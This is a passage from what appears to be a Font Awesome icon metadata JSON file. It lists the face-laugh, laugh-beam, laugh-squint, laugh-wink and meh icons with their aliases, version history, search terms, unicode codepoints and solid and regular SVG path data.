        "path": "M498 339.7c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-22.9-89.3c-10-39 11.8-80.9 51.8-92.1c37.2-10.4 73.8 10.1 87.5 44c12.7-1.6 25.1 .4 36.2 5zM296 332c0 6.9-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4c-2.7 1.5-5.7 3-8.7 4.3c3.1 1.3 6 2.7 8.7 4.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3s-3.1 13.2-7.3 18.3c-4.3 5.2-10.1 9.7-16.7 13.4C258.7 443.1 241.4 448 224 448c-3.6 0-6.8-2.5-7.7-6s.6-7.2 3.8-9l0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1l-.6-.4-.3-.2-.2-.1 0 0 0 0 0 0c-2.5-1.4-4.1-4.1-4.1-7s1.6-5.6 4.1-7l0 0 0 0 0 0 0 0 0 0 .2-.1c.2-.1 .5-.3 .9-.5c.8-.5 2-1.2 3.4-2.1c2.8-1.9 6.5-4.5 10.2-7.6c3.7-3.1 7.2-6.6 9.6-10.1c2.5-3.5 3.5-6.4 3.5-8.6s-1-5-3.5-8.6c-2.5-3.5-5.9-6.9-9.6-10.1c-3.7-3.1-7.4-5.7-10.2-7.6c-1.4-.9-2.6-1.6-3.4-2.1c-.4-.2-.7-.4-.9-.5l-.2-.1 0 0 0 0 0 0c-3.2-1.8-4.7-5.5-3.8-9s4.1-6 7.7-6c17.4 0 34.7 4.9 47.9 12.3c6.6 3.7 12.5 8.2 16.7 13.4c4.3 5.1 7.3 11.4 7.3 18.3zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm194.8 57.6c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M338.9 446.8c-25.4 11-53.4 17.2-82.9 17.2C141.1 464 48 370.9 48 256S141.1 48 256 48s208 93.1 208 208c0 22.4-3.5 43.9-10.1 64.1c3.1 4.5 5.7 9.4 7.8 14.6c12.7-1.6 25.1 .4 36.2 5c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-6.5-25.3zM296 316c0-6.9-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4C258.7 276.9 241.4 272 224 272c-3.6 0-6.8 2.5-7.7 6s.6 7.2 3.8 9l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0 0 0c-2.5 1.4-4.1 4.1-4.1 7s1.6 5.6 4.1 7l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0c-3.2 1.8-4.7 5.5-3.8 9s4.1 6 7.7 6c17.4 0 34.7-4.9 47.9-12.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3s-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4c-2.7-1.5-5.7-3-8.7-4.3c3.1-1.3 6-2.7 8.7-4.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm159.3-20c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C375.7 186.8 355 180 335.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M338.9 446.8c-25.4 11-53.4 17.2-82.9 17.2C141.1 464 48 370.9 48 256S141.1 48 256 48s208 93.1 208 208c0 22.4-3.5 43.9-10.1 64.1c3.1 4.5 5.7 9.4 7.8 14.6c12.7-1.6 25.1 .4 36.2 5c9.1-26.2 14-54.4 14-83.7C512 114.6 397.4 0 256 0S0 114.6 0 256S114.6 512 256 512c35.4 0 69.1-7.2 99.7-20.2c-4.8-5.5-8.5-12.2-10.4-19.7l-6.5-25.3zM296 316c0-6.9-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4C258.7 276.9 241.4 272 224 272c-3.6 0-6.8 2.5-7.7 6s.6 7.2 3.8 9l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0 0 0c-2.5 1.4-4.1 4.1-4.1 7s1.6 5.6 4.1 7l0 0 0 0 0 0 .2 .1c.2 .1 .5 .3 .9 .5c.8 .5 2 1.2 3.4 2.1c2.8 1.9 6.5 4.5 10.2 7.6c3.7 3.1 7.2 6.6 9.6 10.1c2.5 3.5 3.5 6.4 3.5 8.6s-1 5-3.5 8.6c-2.5 3.5-5.9 6.9-9.6 10.1c-3.7 3.1-7.4 5.7-10.2 7.6c-1.4 .9-2.6 1.6-3.4 2.1c-.4 .2-.7 .4-.9 .5l-.2 .1 0 0 0 0 0 0 0 0c-3.2 1.8-4.7 5.5-3.8 9s4.1 6 7.7 6c17.4 0 34.7-4.9 47.9-12.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3s-3.1-13.2-7.3-18.3c-4.3-5.2-10.1-9.7-16.7-13.4c-2.7-1.5-5.7-3-8.7-4.3c3.1-1.3 6-2.7 8.7-4.3c6.6-3.7 12.5-8.2 16.7-13.4c4.3-5.1 7.3-11.4 7.3-18.3zM176.4 240a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm159.3-20c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C375.7 186.8 355 180 335.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zM434 352.3c-6-23.2-28.8-37-51.1-30.8s-35.4 30.1-29.5 53.4l22.9 89.3c2.2 8.7 11.2 13.9 19.8 11.4l84.9-23.8c22.2-6.2 35.4-30.1 29.5-53.4s-28.8-37-51.1-30.8l-20.2 5.6-5.4-21z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh": {
    "aliases": {
      "names": ["laugh"],
      "unicodes": {
        "secondary": ["10f599"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f599",
    "label": "Face Laugh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-beam": {
    "aliases": {
      "names": ["laugh-beam"],
      "unicodes": {
        "composite": ["1f601"],
        "secondary": ["10f59a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "beaming face with smiling eyes",
        "emoticon",
        "eye",
        "face",
        "grin",
        "happy",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59a",
    "label": "Face Laugh Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM217.6 212.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM217.6 212.8l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm86.9-85.1l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm86.9-85.1l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-squint": {
    "aliases": {
      "names": ["laugh-squint"],
      "unicodes": {
        "secondary": ["10f59b"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "happy", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59b",
    "label": "Face Laugh Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zm36.7-199.4l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 125.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zm36.7-199.4l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 125.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm2.8-183.3l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 141.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zm2.8-183.3l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 141.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-laugh-wink": {
    "aliases": {
      "names": ["laugh-wink"],
      "unicodes": {
        "secondary": ["10f59c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "happy", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f59c",
    "label": "Face Laugh Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1H393.6c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm130.7 57.9c-4.2-13.6 7.1-25.9 21.3-25.9H364.5c14.2 0 25.5 12.4 21.3 25.9C369 368.4 318.2 408 258.2 408s-110.8-39.6-127.5-94.1zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-meh": {
    "aliases": {
      "names": ["meh"],
      "unicodes": {
        "composite": ["1f610"],
        "secondary": ["10f11a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "deadpan",
        "emoticon",
        "face",
        "meh",
        "neutral",
        "neutral face",
        "rating"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f11a",
    "label": "Face Meh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM160 336H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H160c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
